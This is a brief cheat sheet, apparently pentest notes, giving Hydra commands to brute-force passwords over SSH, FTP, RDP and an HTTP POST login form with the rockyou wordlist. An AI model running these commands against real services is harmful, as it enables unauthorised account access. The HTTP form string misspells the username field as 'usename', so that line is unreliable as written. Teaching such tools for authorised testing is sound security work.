Password Buteforcing

We will use different open source available tools mainly hydra to perform password bruteforcing.

---

Common Hydra Rules

Use -l if you have one user name or use -L and use the userlist.txt
Use -p if you have one pass or you can use -P and pass the passlist.txt. Use -s for passing the port number if not running on default port

Bruteforce SSH

Given below is the command for SSH bruteforcing

hydra -l pawan -P /usr/share/wordlists/rockyou.txt ssh://$IP

Bruteforce FTP

Given below is the command for FTP bruteforcing

hydra -l pawan -P /usr/share/wordlists/rockyou.txt ftp://$IP

Bruteforce RDP

Given below is the command for RDP bruteforcing

hydra -l pawan -P /usr/share/wordlists/rockyou.txt rdp://$IP

Bruteforce HTTP

Given below is the command for HTTP bruteforcing post form
$IP : domain/ip of the website
/index.php : the login form URI , can be modified.
username : variable from the website to pass the user name, can be different for other website.
password: variable from the website to pass the password, can be different for other website.
Login failed. Invalid : Is the error in case of failed/ incorrect user name and pass

hydra -l pawan -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/index.php:usename=^USER^&password=^PASS^:Login failed. Invalid"